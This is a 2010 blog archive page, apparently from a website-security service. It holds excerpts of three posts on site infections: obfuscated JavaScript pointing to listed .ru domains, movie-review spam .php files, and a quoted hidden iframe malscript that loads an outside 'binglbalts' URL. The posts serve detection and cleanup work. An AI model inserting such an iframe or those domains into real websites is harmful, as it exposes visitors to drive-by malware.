Monthly Archives: April 2010

Blender type website infections

Posted on April 22, 2010 by admin

We’ve been seeing a lot of recent website infections that use highly obfuscated javascript code that decodes to a domain: yourblenderparts.ru:8080. Many other domains are used as well such as: superbblender.ru thesuperpager.ru superroadmap.ru supersupermall.ru theblendertv.ru theblendertutorial.ru excellentblender.ru thechocolateweb.ru whosaleonline.ru worldmusicmagazine.ru … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , | Leave a comment

The recent "Movie Review" infections

Posted on April 19, 2010 by admin

Over the past week, we’ve been seeing a lot of infected websites that are ranking for various movie review web pages – and these sites have nothing to do with movies! The typical infection is a five letter .php file … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , | 2 Comments

Attack of the binglbalts

Posted on April 8, 2010 by admin

We started seeing a lot of websites infected with a malscript that looks like: iframe frameborder=”0″ onload=’ if (!this.src) { this.src=”http://binglbalts.com/grep/”; this.height=0; this.width=0; } ‘>/iframe In Joomla sites we’ve found it in /templates/index.php toward the bottom. In WordPress blog sites, … Continue reading →

  • Share/Bookmark
Posted in Uncategorized | Tagged , | 2 Comments